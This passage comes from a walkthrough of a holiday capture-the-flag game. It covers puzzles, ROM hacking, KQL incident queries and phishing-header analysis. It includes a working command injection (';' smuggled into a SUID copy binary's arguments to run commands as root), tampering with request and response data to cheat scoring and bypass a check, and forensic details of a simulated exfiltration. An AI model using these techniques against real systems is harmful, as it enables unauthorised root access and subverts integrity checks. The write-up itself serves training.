"vmId": "e5f16214-18be-4a31-9ebb-2be3a55cfcf7"
},
"resourceGroup": "northpole-rg2",
"tags": {}
}
]
โ Invoke a run-command and use a RunShellScript against the VM to reveal a file
elf@84d2543b8a87:~$ az vm run-command invoke -g northpole-rg2 -n "NP-VM1" --command-id RunShellScript --scripts 'ls'
{
"value": [
{
"code": "ComponentStatus/StdOut/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "bin\netc\nhome\njinglebells\nlib\nlib64\nusr\n",
"time": 1702591291
},
{
"code": "ComponentStatus/StdErr/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "",
"time": 1702591291
}
]
}
Before leaving the area, head north to the resort and enter the Resort Lobby
to unlock the destination.
๐ Luggage Lock ๐
๐ Objective: Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials.
โต Destination: Island of Misfit Toys (Squarewheel Yard)
โ๏ธ Solution: Find the 4 digit combination to unlock Garland Candlesticksโ luggage
- โ๏ธ Sail east to the
Island of Misfit Toys
and on the far east side dock atSquarewheel Yard
- โ๏ธ Open
Luggage Lock Decode
challenge - โ๏ธ Play on four wheels difficulty
- โ๏ธ Apply pressure and feel for dial resistance to locate correct combination
๐ฌ Garland Candlesticks Conversation:
Hey there, I'm Garland Candlesticks! I could really use your help with something.
You see, I have this important pamphlet in my luggage, but I just can't remember the combination to open it!
Chris Elgee gave a talk recently that might help me with this problem. Did you attend that?
I seem to recall Chris mentioning a technique to figure out the combinations...
I have faith in you! We'll get that luggage open in no time.
This pamphlet is crucial for me, so I can't thank you enough for your assistance.
Once we retrieve it, I promise to treat you to a frosty snack on me!
Wow, you did it! I knew you could crack the code. Thank you so much!
๐ก Breakdown:
Sailing east from Christmas Island
to the Island of Misfit Toys
, find Garland Candlesticks
and his locked luggage.
Click on the case to start a new attempt with four wheels of difficulty.
Solve the challenge by using key bindings to interact with the case rather than the mouse.
Starting out apply 4 levels
of pressure by using SPACE
so that it has sufficient pressure. From here hold R
and watch for what number consistently encounters resistance and holds for the longest time. Repeat this process for the remaining 3 dials (using E
, W
, Q
to turn them), and then apply the 5th level
of pressure to unlock the case. This process is demonstrated below.
Successful completion opens the luggage and reveals its contents.
Note: This challenge had a bug early on that caused some cases to automatically unlock without input. Upon reporting, Jared Folkins from the Counter Hack team was able to isolate, and with the rest of the team, resolve the issue.
๐ Linux PrivEsc ๐๐๐
๐ Objective: Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.
โต Destination: Island of Misfit Toys (Ostrich Saloon)
โ๏ธ Solution: simplecopy ";" "/root/runmetoanswer"
and santa
- โ๏ธ Sailing southwest of
Squarewheel Yard
, dock atScaredy-kite Heights
in the most southwest corner of theIsland of Misfit Toys
- โ๏ธ Head northeast into the
Ostrich Saloon
to findRose Mold
and theLinux PrivEsc
Cranberry Pi terminal - โ๏ธ Locate the vulnerable
simplecopy
SUID enabled binary - โ๏ธ Discover the syntax for exploiting this binary
- โ๏ธ Exploit a vulnerability in the binary to run
/root/runmetoanswer
and respond withsanta
๐ฌ Rose Mold Conversation:
What am I doing in this saloon? The better question is: what planet are you from?
Yes, Iโm a troll from the Planet Frost. I decided to stay on Earth after Holiday Hack 2021 and live among the elves because I made such dear friends here.
Whatever. Do you know much about privilege escalation techniques on Linux?
You're asking why? How about I'll tell you why after you help me.
And you might have to use that big brain of yours to get creative, bub.
Yup, I knew you knew. You just have that vibe.
To answer your question of why from earlier... Nunya!
But, I will tell you something better, about some information I... found.
There's a hidden, uncharted area somewhere along the coast of this island, and there may be more around the other islands.
The area is supposed to have something on it that's totes worth, but I hear all the bad vibe toys chill there.
That's all I got. K byyeeeee.
Ugh... n00bs...
๐ก Breakdown:
Sailing southwest, locate the Scaredy-kite Heights
dock in the southwest corner of the Island of Misfit Toys
, and head northeast to find the Ostrich Saloon
.
Entering the Ostrich Saloon
you find Rose Mold
and the Linux PrivESC
Cranberry Pi terminal.
Opening the Cranberry Pi terminal presents a challenge:
In a digital winter wonderland we play,
Where elves and bytes in harmony lay.
This festive terminal is clear and bright,
Escalate privileges, and bring forth the light.
Start in the land of bash, where you reside,
But to win this game, to root you must glide.
Climb the ladder, permissions to seize,
Unravel the mystery, with elegance and ease.
There lies a gift, in the root's domain,
An executable file to run, the prize you'll obtain.
The game is won, the challenge complete,
Merry Christmas to all, and to all, a root feat!
* Find a method to escalate privileges inside this terminal and then run the binary in /root *
Given this is a Unix-like system (Linux), we can first see if thereโs any unusual binaries with a SUID bit set. If either a SUID bit
or SGID bit
is set on a file it will be run with the same permissions as the user or group owner of the file respectively. In this instance a search solely for SUID bits set on files globally finds 9
items.
elf@79460c918f76:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy
The first 8
results are pretty common amongst Unix-like systems and arenโt likely to have any obvious vulnerabilities which can be abused. Simplecopy
on the other hand isnโt a known prevalent binary.
By checking the permissions on this it is shown that the SUID bit is indeed set (the s
in rws
).
elf@79460c918f76:~$ ls -la /usr/bin/simplecopy
-rwsr-xr-x 1 root root 16952 Dec 2 22:17 /usr/bin/simplecopy
Running this presents usage instructions.
elf@79460c918f76:~$ /usr/bin/simplecopy
Usage: /usr/bin/simplecopy <source> <destination>
This very closely ressembles the cp
copy syntax. By running it against non-existent files an error message shows this is using cp
under the hood.
elf@705fe709674f:~$ /usr/bin/simplecopy a a
cp: cannot stat 'a': No such file or directory
Attempting to end the cp
bash command by specifying ;
as a source and whoami
as a destination allows injecting our own commands as root despite any error messages. It essentially results in cp
being run with no parameters, and instead the injected command being run.
elf@79460c918f76:~$ /usr/bin/simplecopy ";" "whoami"
cp: missing file operand
Try 'cp --help' for more information.
root
Repeating this with ;
as a source and ls -la /root
as a destination reveals the binary that needs to be run /root/runmetoanswer
.
elf@79460c918f76:~$ /usr/bin/simplecopy ";" "ls -la /root"
cp: missing file operand
Try 'cp --help' for more information.
total 620
drwx------ 1 root root 4096 Dec 2 22:17 .
drwxr-xr-x 1 root root 4096 Dec 14 23:47 ..
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rws------ 1 root root 612560 Nov 9 21:29 runmetoanswer
Repeating this one more time with ;
as a source and /root/runmetoanswer
as a destination allows the binary to be run as root. This presents a simple question that needs the answer santa
to solve the challenge.
elf@79460c918f76:~$ simplecopy ";" "/root/runmetoanswer"
cp: missing file operand
Try 'cp --help' for more information.
Who delivers Christmas presents?
> santa
Your answer: santa
Checking....
Your answer is correct!
๐ Faster Lock Combination ๐๐
๐ Objective: Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!
โต Destination: Steampunk Island (Brass Bouy Port)
โ๏ธ Solution: Using a Sticky Number
and Guess Numbers
brute force a combination padlock
- โ๏ธ Sail north of the
Island of Misfit Toys
and dock atBrass Bouy Port
at the beak ofSteampunk Island
- โ๏ธ Head west to find
Bow Ninecandle
needing the combination to a padlock - โ๏ธ Using the lock mechanics, find the
Sticky Number
- โ๏ธ Find
2 Guess Numbers
between0
and11
- โ๏ธ Perform
3
mathematical formulas to:- โ๏ธ Find the first digit
- โ๏ธ Find the third digit
- โ๏ธ Find
8
to16
possible combinations for the second digit
- โ๏ธ Try all
8
to16
possible padlock combinations
๐ฌ Bow Ninecandle Conversation:
Hey there! I'm Bow Ninecandle, and I've got a bit of a... 'pressing' situation.
You see, I need to get into the lavatory, but here's the twist: it's secured with a combination padlock.
Talk about bad timing, right? I could really use your help to figure this out before things get... well, urgent.
I'm sure there are some clever tricks and tips floating around the web that can help us crack this code without too much of a flush... I mean fuss.
Remember, we're aiming for quick and easy solutions here - nothing too complex.
Once we've gathered a few possible combinations, let's team up and try them out.
I'm crossing my legs - I mean fingers - hoping we can unlock this door soon.
After all, everyone knows that the key to holiday happiness is an accessible lavatory!
Let's dive into this challenge and hopefully, we won't have to 'hold it' for too long! Ready to help me out?
Oh, thank heavens! You're a lifesaver! With your knack for cracking codes, we've just turned a potential 'loo catastrophe' into a holiday triumph!
๐ก Breakdown:
Sail north of the Island of Misfit Toys
to find and dock at Brass Bouy Port
on Steampunk Island
. Head west to find Bow Ninecandle
and the Faster Lock
challenge.
โ Locate the sticky number:
- Double click the dial to reset it (a physical lock would need it to be turned clockwise several times)
- Place tension on the shackle and pull up until the lock siezes, let off a bit of tension so the dial is able to be turned
Siezed lock:
Tensioned, but turnable lock:
- Turn the dial clockwise and keep turning until it physically slows and almost stops on a number.
In the above the sticky number is shown as 30
.
โ Find the guess numbers (between 0 and 11)
- Apply heavy tension to the shackle (so it siezes)
- The first
guess number
will be apparent when the lock siezes between 2half numbers
(the middle of them is the guess number) - Repeat this to find the second guess number
In the above the guess numbers are shown as 4
and 9
.
โ Find the first digit
- This is going to be the
Sticky Number
+5
In this instance the number is 35
.
โ Find the third digit
Take the first digit and divide by 4
. Remember the remainder (either 0,1,2,3)
- 35/4 = 8, remainder
3
.- Plot a table using the guess numbers found with
2 rows
and4 columns
- Add
10
to each
- Plot a table using the guess numbers found with
Guess Number | Num + 10 | Num + 20 | Num + 30 |
---|---|---|---|
4 | 14 | 24 | 34 |
9 | 19 | 29 | 39 |
Using the remembered remainder as a guide, divide these by 4
until you get 2 numbers
with the same remainder (these are 2 possible values for the third digit)
4/4 = 1, 0 remainder
14/4 = 3, 2 remainder
24/4 = 6, 0 remainder
34/4 = 8, 2 remainder
9/4 = 2, 1 remainder
19/4 = 4, 3 remainder
29/4 = 7, 1 remainder
39/4 = 9, 3 remainder
In the above the 2 possible values for the third digit are 19
and 39
as these both have the same remainder identified of 3
.
- Turn the dial and stop on each number
- Place heavy tension on the shackle and turn, the number which feels most loose is likely the third digit
In this instance the numbers could be 19
or 39
but is most likely 19
based on how loose it feels.
โ Find the second digit (8 possibilities)
- Using the remembered remainder, create a table with
2 rows and 5 columns
- row 1, column 1, is the
remainder +2
. To get the remaining columnsadd 8 to it 4 times
- row 2, column 1, is the
remainder +2 +4
. To get the remaining columnsadd 8 to it 4 times
- eliminate any values within
2 digits
of the3rd digit
identified.
- row 1, column 1, is the
Remainder Calculation | Calculation +8 | Calculation +16 | Calculation +24 | Calculation +32 |
---|---|---|---|---|
5 | 13 | 21 | 29 | 37 |
9 | 17 | 25 | 33 | 41 |
Removing the possibilities for the 3rd digit would leave:
If third number is 19
5 13 29 37
9 25 33 41
If third number is 39
5 13 21 29
9 17 25 33
โ Try possible combinations
Using known possibilities the lock combination is likely to be one of the following:
If third number is 19
35 5 19
35 13 19
35 29 19
35 37 19
35 9 19
35 25 19
35 33 19
If third number is 39
35 5 39
35 13 39
35 21 39
35 29 39
35 9 39
35 17 39
35 25 39
35 33 39
In this instance, testing these solutions finds the correct answer in only a second attempt, taking less than a minute: 35 13 19
Note: Bow Ninecandle has a familiar voice that I just canโt put my finger on ๐
๐ Game Cartridges: Vol 1 ๐
๐ Objective: Find the first Gamegosling cartridge and beat the game
โต Destination: Island of Misfit Toys (Tarnished Trove)
โ๏ธ Solution: santaconfusedgivingplanetsqrcode
- โ๏ธ Sail northeast of
Steampunk Island
and dock atDriftbit Grotto
on the neck ofPixel Island
- โ๏ธ Head west to find a game cartridge (Vol 2)
- โ๏ธ Receive the
Game Boy Cartridge Detector
fromTinsel Upatree
- โ๏ธ Sail south of
Pixel Island
to theIsland of Misfit Toys
and dock atTarnished Trove
- โ๏ธ Find the game cartridge (Vol 1) hidden under a
straw hat
- โ๏ธ Solve
Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol1
and scan theQR code
๐ฌ Dusty Giftwrap Conversation:
Arrr, matey, shiver me timbers! There be buried treasure herrrrre.
Just kidding, I'm not really a pirate, I was just hoping it would make finding the treasure easier.
I guess you heard about the fabled buried treasure, too? I didn't expect to see anyone else here. This uncharted islet was hard to find.
I bet one of these creepy toys has the treasure, and I'm sure not going anywhere near them!
If you find the treasure, come back and show me, and I'll tell you what I was able to research about it.
Good luck!
Whoa, you found it!
It's a... video game cartridge? Coooooollll... I mean, arrrrrr....
So, here's what my research uncovered. Not sure what it all means, maybe you can make sense of it.
๐ก Breakdown:
Sail northeast of Steampunk Island
and dock at Driftbit Grotto
on the neck of Pixel Island
. Talk to Tinsel Upatree
and retrieve the Game Boy Cartridge Detector
.
Sail south of Pixel Island
to the Island of Misfit Toys
and dock at Tarnished Trove
. Locate a suspicious straw hat
and walk into it.
Obtain Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol1
and play the game.
Talk to the dog and accept the mission of fixing a QR Code
.
Run around singing as if you were on a game show. Constantly spam the sing button at blocks until you find a block that needs to be moved. Push the block into the designated area.
Eventually realise that one mistake means having to start again, so instead of wasting time download the rom by intercepting local network traffic to find where it is being pulled from.
GET /vol1-uWn1t6xv4VKPZ6FN/rom/game.gb HTTP/2
Host: gamegosling.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://gamegosling.com/vol1-uWn1t6xv4VKPZ6FN/index.html?&challenge=gameboy1&username=JPMinty&id=307d0bf7-5ae4-444b-9588-2f357e62a426&area=imt-tarnishedtrove&location=50,80&tokens=&dna=ATATATTAATATATATATATTAGCATATATATTATAGCTAATATATATATATATTAATATATATATATTAATATATTAGCATATATATATATGCCGATATATATATATATGCATATTAAT
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Run the game in a local emulator such as Visual Boy Advance, and take advantage of the realtime save state capability to save and load as required.
Keep singing and pushing until the QR code
is solved.
Scan the QR code
and find the flag.
https://8bitelf.com/
flag:santaconfusedgivingplanetsqrcode
๐ Game Cartridges: Vol 2 ๐๐๐
๐ Objective: Find the second Gamegosling cartridge and beat the game
โต Destination: Island of Pixel Island (Driftbit Grotto)
โ๏ธ Solution: GL0RY
- โ๏ธ Play the previously obtained
Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol2
from your inventory - โ๏ธ Restart the game and detect that there are 2 versions of the game you can wind up playing
- โ๏ธ Download
game0.gb
andgame1.gb
roms and examine them in a hex editor - โ๏ธ Patch elements of one game onto the other until you can pass through to a portal
- โ๏ธ Listen to the
old-timey radio
and obtain themorse code
- โ๏ธ Decode the morse code to retrieve the flag
GL0RY
๐ฌ Tinsel Upatree Conversation:
I can't believe I was actually able to find this underground cavern!
I discovered what looked liike an old pirate map in the attic of one of those huts in Rainraster Cliffs, and it actually led somewhere!
But now that I've seen where it leads, I think this might've been a bad idea. This place is scary! Maybe you want to take it from here?
There are 3 buried treasures in total, each in its own uncharted area around Geese Islands.
I've been searching for a bit, but the mustiness down here is making me sneeze!
Maybe you'll be able to find it. Here, use my Gameboy Cartridge Detector. Go into your items and test it to make sure it's still working.
When you get close to the treasure, it'll start sounding off. The closer you get, the louder the sound.
No need to activate or fiddle with it. It just works!
I bet it's somewhere right... near... ACHOOO!
If you find the treasure, come back and show me, and I'll tell you what I was able to research about it.
Good luck!
Whoa, you found it!
What version is it?
Did you know that many games had multiple versions released? Word is: volume 2 has 2 versions!
๐ก Breakdown:
Play Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol2
previously obtained from Driftbit Grotto
.
Intercept requests to gamegosling.com
and locate where game0.gb
or game1.gb
is being pulled from.
Attempt to play either served game and be halted by a wizard at either the top or bottom of the map.
Download a copy of both game0.gb
and game1.gb
and compare these using a hex editor.
https://gamegosling.com/vol2-akHB27gg6pN0/rom/game1.gb
https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb
Examining the differences shows thereโs only 12 bytes different
at around 6
different offsets.
โ Offset 0x14F
โ Offset 0x593-0x596
โ Offset 0x16A84
โ Offset 0x16AB8
โ Offset 0x17C80
โ Offset 0x1850E-0x18514
By manually replacing hex values one at a time from game0.gb
into game1.gb
, it was found that the offset at 0x16A84
controlled what side the portal was on, and 0x16AB8
controlled what side the wizard was on.
Entering the portal revealed ChatNPT
talking about an old-timey
radio.
Listening to the radio you can hear morse code. By recording this using Audacity and the Windows WASAPI loopback API, it can then be uploaded to a service such as an online Morse Decoder.
Although the output may be messed up during interpretation of the first characters, listening to the morse code manually helps to realise this is actually GL0RY
the flag for the challenge.
๐ Game Cartridges: Vol 3 ๐๐๐
๐ Objective: Find the third Gamegosling cartridge and beat the game
โต Destination: Steampunk Island (Rusty Quay)
โ๏ธ Solution: !tom+elf!
- โ๏ธ Sail northwest of the
Island of Misfit Toys
and dock atRusty Quay
on the west side ofSteampunk Island
- โ๏ธ Zoom out to discover a
maze
and thethird Gamegosling cartridge
at the end of it - โ๏ธ Solve the maze to obtain
Elf the Dwarfโs, Gloriously, Unfinished, Adventure! - Vol3
- โ๏ธ Play the game and notice anomalies present
- โ๏ธ Collect
999
coins and cause an error - โ๏ธ Cause the game to set a path forward by collecting the right amount of coins
- โ๏ธ Speak to
Tom Liston
, ChatNPT, and obtain the flag
๐ฌ Angel Candysalt Conversation:
The name's Angel Candysalt, the great treasure hunter!
A euphemism? No, why do people always ask me that??
Anyways, I came here to nab the treasure hidden in this ship graveyard, only to discover it's protected by this rusted maze.
That must be why all these old ships are here. Their crew came to find the treasure, only to get lost in the labrynth.
At least it's obvious where this one is. See that shiny spot over to the right? That's gotta be where it is! If only I had a bird's eye view.
But how to get there? Up? Down? Left? Right? Oh well, that's your problem now!
Come back if you can find your way to it, and I'll tell you some secrets I've heard about this one.
The life of a treasure hunter isn't easy, but it sure is exciting!
Oh it's a video game, I love video games! But you've claimed this treasure, nicely done.
Now, about those secrets I've been told. They're pretty cryptic, but they are. Hopefully that helps with something!
You have all three? Wow, you must be the greatest treasure hunter that ever lived!
๐ก Breakdown:
Sail northwest from the Island of Misfit Toys
and dock at Rusty Quay
on the west side of Steampunk Island
. Zoom out to see a maze
with the third Gamegosling cartridge
at the end of it.
Look at network traffic to discover the maze is pulled from the following URL.
https://2023.holidayhackchallenge.com/images/fabric/spi-rustyquay_floor.jpg
Working your way back from the end of the maze, use the spi-rustyquay_floor.jpg
image to mark a trail leading to the beginning of the maze.
Follow the path to find the game and play it. For an augmented experience which guides you to the finish, replace the floor
class background
URL to point to a copy of the modified spi-rustyquay_floor.jpg
Intercept the request and download game.gb
to emulate it locally.
gamegosling.com/vol3-7bNwQKGBFNGQT1/rom/game.gb
Collect coins and evade enemies to increase your score
by either 1
, 10
, or 100
points depending on the coin.
Make your way to the end area where Jared
mentions that marketing always loved talking about 5 nines, but that it was more like 3 nines
.
Continue collecting coins and eventually youโll reach a gap that you canโt pass with a max score of 678
if you never died and collected all coins.
Fall down and continue collecting coins in the first area, the first
coin is worth 1
point, second
is worth 10
, and third
is worth 100
. Collect exactly 989
points and return to the gap again to find that a bridge has appeared.
Note: Collecting 999
causes an error
to be thrown; however, this error is hard-coded into the game as a message for hitting 999
points.
Travelling into the cave you meet the hacker Tom Liston
who gives you a passphrase morethanmeetstheeye
, and speaking this to ChatNPT causes a variable
to be set that allows moving a rock and securing the flag.
This is likely an unintended solution to the challenge given the reference to three nines makes it seem like the score you needed to get was 999
๐ Naโan ๐๐
๐ Objective: Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!
โต Destination: Film Noir Island (Chiaroscuro City)
โ๏ธ Solution: Defeat Shifty McShuffles by playing variations of nan
- โ๏ธ Sail east and dock at
Chiaroscuro City
onFilm Noir Island
(the right foot of the island) - โ๏ธ Travel northwest to find
Shifty McShuffles
and a game of `Na'anโ - โ๏ธ Challenge the elf to a game and score
10
points to win
๐ฌ Shifty McShuffles Conversation:
Hey there, stranger! Fancy a game of cards? Luck's on your side today, I can feel it.
Step right up, test your wit! These cards could be your ticket to fortune.
Trust me, I've got a good eye for winners, and you've got the look of luck about you.
Plus, I'd wager you've never played this game before, as this isn't any ordinary deck of cards. It's made with Python.
The name of the game is to bamboozle the dealer.
So whad'ya think? Are you clever enough?
Well, you sure are more clever than most of the tourists that show up here.
I couldn't swindle ya, but don't go telling everyone how you beat me!
An elf's gotta put food on the table somehow, and I'm doing the best I can with what I got.
๐ก Breakdown:
Sail east and dock at Chiaroscuro City
on Film Noir Island
. Head northwest to find Shifty
.
Intercept web requests to see that a score
parameter is being sent in a POST request
to nannannannannannan.com
.
Notice that the cards played are also being sent in a POST
request to nannannannannannan.com
.
Playing various capitalisation combinations of the value NaN
(not a number) confuses the program and allows beating Shifty
every time.
Itโs worth noting that if only a single NaN
is sent you can still wind up losing the hand.
Continuing to send the Batman theme song in POST
requests leads to victory.
๐ KQL Kraken Hunt ๐๐
๐ Objective: Use Azure Data Explorer to uncover misdeeds in Santaโs IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.
โต Destination: Film Noir Island (Gumshow Alley PI Office)
โ๏ธ Solution: Beware the Cube that Wombles
๐ฌ Tangle Coalbox Conversation:
Greetings, rookie. Tangle Coalbox of Kusto Detective Agency here.
I've got a network infection case on Film Noir Island that needs your expertise.
Seems like someone clicked a phishing link within a client's organization, and trouble's brewing.
I'm swamped with cases, so I need an extra pair of hands. You up for the challenge?
You'll be utilizing the Azure Data Explorer and those KQL skills of yours to investigate this incident.
Before you start, you'll need to create a free cluster.
Keep your eyes peeled for suspicious activity, IP addresses, and patterns that'll help us crack this case wide open.
Remember, kid, time is of the essence. The sooner we can resolve this issue, the better.
If you run into any problems, just give me a holler, I've got your back.
Good hunting, and let's bring this cyber criminal to justice.
Once you've got the intel we need, report back and we'll plan our next move. Stay sharp, rookie.
I had my doubts, but you've proven your worth.
That phishing scheme won't trouble our client's organization anymore, thanks to your keen eye and investigatory prowess.
So long, Gumshoe, and be careful out there.
- โ๏ธ Head northwest to find the entrance of
Gumshow Alley PI Office
inChiaroscuro City
- โ๏ธ Enter the building to find
Tangle Coalbox
and theKusto Detective
challenge - โ๏ธ Create a free
Kusto cluster
and insert system telemetry - โ๏ธ Discover
how many Craftperson Elf's are working from laptops
- โ๏ธ Discover
the email address of the employee who received this phishing email
- โ๏ธ Discover
the email address that was used to send this spear phishing email
- โ๏ธ Discover
the subject line used in the spear phishing email
- โ๏ธ Discover
the role of our victim in the organization
- โ๏ธ Discover
the hostname of the victim's machine
- โ๏ธ Discover
the source IP linked to the victim
- โ๏ธ Discover
the time Alabaster clicked on the malicious link
- โ๏ธ Discover
what file is dropped to Alabaster's machine shortly after he downloads the malicious file
- โ๏ธ Discover
the IP address forwarded to from an attacker reverse tunnel
- โ๏ธ Discover
the timestamp when the attackers enumerated network shares on the machine
- โ๏ธ Discover
the hostname of the system the attacker moved laterally to
- โ๏ธ Discover
the attacker's first base64 encoded PowerShell command executed on Alabaster's machine
- โ๏ธ Discover
the name of the file the attacker copied from the fileshare
- โ๏ธ Discover
the domain name data was likely exfiltrated to
- โ๏ธ Discover
the name of the executable the attackers used in the final malicious command
- โ๏ธ Discover
the command line flag used alongside this executable
- โ๏ธ Run the provided query to uncover the flag
๐ก Breakdown:
Head northwest to find the entrance of Gumshoe Alley PI Office
in Chiaroscuro City
.
Enter Gumshoe Alley PI Office
to find Tangle Coalbox
and the Kusto Detective
challenge.
Open the challenge and read the email from Lieutenant Hackstopper
.
Follow the FAQ and Train me for the case
buttons to stand up a Kusto cluster
and begin the challenge. Using Kusto Query Language
and the new cluster, solve the following questions:
โ Discover how many Craftperson Elfโs are working from laptops
Employees
| where hostname has "LAPTOP" and role == "Craftsperson Elf"
| count
25
This opens up Case 1.
โ Discover the email address of the employee who received this phishing email
Email
| where link == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
| take 1
โ the email address that was used to send this spear phishing email
Email
| where link == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
| take 1
โ the subject line used in the spear phishing email
Email
| where link == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
| take 1
[EXTERNAL] Invoice foir reindeer food past due
This opens up Case 2.
โ the role of our victim in the organization
Employees
| where name == "Alabaster Snowball"
Head Elf
โ the hostname of the victimโs machine
Employees
| where name == "Alabaster Snowball"
Y1US-DESKTOP
โ the source IP linked to the victim
Employees
| where name == "Alabaster Snowball"
10.10.0.4
This opens up Case 3.
โ the time Alabaster clicked on the malicious link
OutboundNetworkEvents
| where url == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
2023-12-02T10:12:42Z
โ what file is dropped to Alabasterโs machine shortly after he downloads the malicious file
FileCreationEvents
| summarize count() by username
Then using Alabasterโs usernameโฆ
FileCreationEvents
| where username == "alsnowball"
giftwrap.exe
This opens up Case 4.
โ the IP address forwarded to from an attacker reverse tunnel
ProcessEvents
| where username == "alsnowball"
113.37.9.17
โ the timestamp when the attackers enumerated network shares on the machine
ProcessEvents
| where username == "alsnowball"
2023-12-02T16:51:44Z
โ the hostname of the system the attacker moved laterally to
ProcessEvents
| where username == "alsnowball"
NorthPolefileshare
This opens up Case 5.
โ the attackerโs first base64 encoded PowerShell command executed on Alabasterโs machine
ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"
Using CyberChef decode the commands to identify the first one as a benign SCCM command.
2023-12-24T16:07:47Z
โ the name of the file the attacker copied from the fileshare
ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"
NaughtyNiceList.txt
โ the domain name data was likely exfiltrated to
ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"
giftbox.com
This opens up Case 6.
โ the name of the executable the attackers used in the final malicious command
ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"
downwithsanta.exe
ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"
โ the command line flag used alongside this executable
โwipeall
This reveals a command to uncover the final flag.
Beware the Cube that Wombles
๐ Phish Detection Agency ๐๐
๐ Objective: Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!
โต Destination: Film Noir Island (The Blacklight District)
โ๏ธ Solution: Identify the 10
phishing emails
- โ๏ธ Sail north around
Film Noir Island
to reachThe Blacklight District
dock - โ๏ธ Head northeast to find
Fitzy Shortstack
and thePhish detection
Cranberry Pi terminal - โ๏ธ Sort the phishing emails from the legitimate emails by marking them as either
Safe
orPhishing
๐ฌ Fitzy Shortstack Conversation:
You've cracked the case! Once again, you've proven yourself to be an invaluable asset in our fight against these digital foes.
Note: Previous conversations with Fitzy donโt appear to have been recorded during the playthrough.
๐ก Breakdown:
Sail north around the wing of Film Noir Island
and dock at The Blacklight District
dock. Head northeast to find Fitzy Shortstack
and the Phish detection
Cranberry Pi.
Click on the Phish Detection
Cranberry Pi and understand that some emails are marked safe that are phishing, and some are marked phishing which are safe.
The challenge provides information on SPF, DKIM, and DMARC records for the geeseislands.com
domain that can be used to help find phishing emails.
It should be noted that the email headers provided are stripped to bare minimum fields. Itโs also worth noting that DKIM
as defined in RFC6376, has a signature data
field defined by b=
within a header. When reviewing the email headers in this challenge all of them have a hardcoded b=
value which isnโt calculated by the message hash or any content within the email as it should be, but this has no impact on passing or failing any checks, or indicating that an email may be phishing.
b=HJgZP0lGJb8xK3t18YsOUpZ+YvgcCj2h3ZdCQF/TN0XQlWgZt4Ll3cEjy1O4Ed9BwFkN8XfOaKJbnN+lCzA8DyQ9PDPkT9PeZw2+JhQK1RmZdJlfg8aIlXvB2Jy2b2RQlKcY0a5+j/48edL9XkF2R8jTtKgZd9JbOOyD4EHD6uLX5;
By marking an email as safe
or phishing
and intercepting the request itโs shown that a list of currently marked phishing senders is being sent to the server to compare whether it matches to a list of known malicious senders.
Modifying the response received to say the lists match results in a message saying that the challenge has been completed, despite it not actually being completed.
Combing over all the emails shows 10
phishing emails based on their email Headers and sender details.
โ 1. [email protected]
This email shows that the sender was actually from [email protected]
with a spoofed sender
, and failed DMARC
checks.
โ 2. [email protected]
This email shows that the sender was actually [email protected]
, had an invalid DKIM
signature, and failed DMARC
checks.
โ 3. [email protected]
This email shows that it had an altered DKIM signature
, and it failed DMARC
checks.
โ 4. [email protected]
This email shows that the sender was actually [email protected]
, and although it had a DKIM signature
and passed DMARC
checks, this was for the unauthorized.com
domain not geeseislands.com
.
โ 5. [email protected]
This email shows that the sender was actually [email protected]
, and although it had a DKIM signature
and passed DMARC
checks, this was for the unknownsource.com
domain not geeseislands.com
.
โ 6. [email protected]
This email shows that the DKIM signature wasn't present
, and that it failed DMARC
checks.
โ 7. [email protected]
This email shows that the sender was actually [email protected]
not geeseislands.com
, and although it had a DKIM signature
, it failed DMARC
checks.
โ 8. [email protected]
This email shows that it had an invalid DKIM signature
and failed DMARC
checks.
โ 9. [email protected]
This email shows that the sender was actually [email protected]
not geeseislands.com
, and although it had valid DKIM
and valid DMARC
, this was for the externalserver.com
domain.
โ 10. [email protected]
This email shows that the sender was actually [email protected]
not geeseislands.com
, and although it had valid DKIM
and valid DMARC
, this was for the otherdomain.com
domain.
These 10
emails correctly identified as phishing
with all others marked safe solves the challenge.
๐ Hashcat ๐๐
๐ Objective: Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!
โต Destination: Island of Misfit Toys (Scaredy Kite Heights)
โ๏ธ Solution: /bin/runtoanswer IluvC4ndyC4nes!
- โ๏ธ Quick travel to
Scaredy Kite Heights
which was unlocked when heading to theOstrich Saloon
- โ๏ธ Locate
Eve Snowshoes
and theHashcat
Cranberry Pi terminal adjacent to the stuffed elephant - โ๏ธ Identify the hash type required to be cracked
- โ๏ธ Crack the hash to reveal the password
IluvC4ndyC4nes!
